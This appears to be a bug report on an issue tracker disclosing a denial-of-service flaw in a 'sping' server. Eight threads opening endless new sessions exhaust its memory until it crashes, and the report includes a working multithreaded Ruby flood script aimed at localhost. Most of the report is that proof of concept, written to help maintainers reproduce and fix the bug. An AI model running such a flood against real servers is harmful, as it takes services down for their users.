Crash with many new sessions

[marek22k]

Hello,

If an attacker requests a large number of new sessions, the server crashes after quite a lot of memory has been requested.
Attack script:

require 'socket'

vhost = "127.0.0.1"
vport = 6924

class TCPHandshakeError < StandardError; end

threads = []

8.times do
    threads << Thread.new(vhost, vport) do |vhost, vport|
        loop do
            begin
                socket = TCPSocket.new vhost, vport
                banner = socket.readpartial 9001
                if banner.length > 9000
                    socket.close
                    raise TCPHandshakeError, 'Host banner too big'
                end

                if ! banner.start_with? 'sping-0.3-'
                    socket.close
                    raise TCPHandshakeError, 'Host banner not sping'
                end

                socket.write "INVITE\r\n"
                socket.flush

                inviteBuf = socket.readpartial 32
                if inviteBuf.length > 31 || inviteBuf.length.zero?
                    socket.close
                    raise TCPHandshakeError, 'Invite banner wrong size'
                end

                session_id = inviteBuf.chomp.to_i

                puts "We got a new session id #{session_id}."

                socket.close
            rescue TCPHandshakeError => e
                warn "Error: #{e.message}"
            end
        end
    end
end

In my test, the Go server withstood the attack for about 20 seconds.
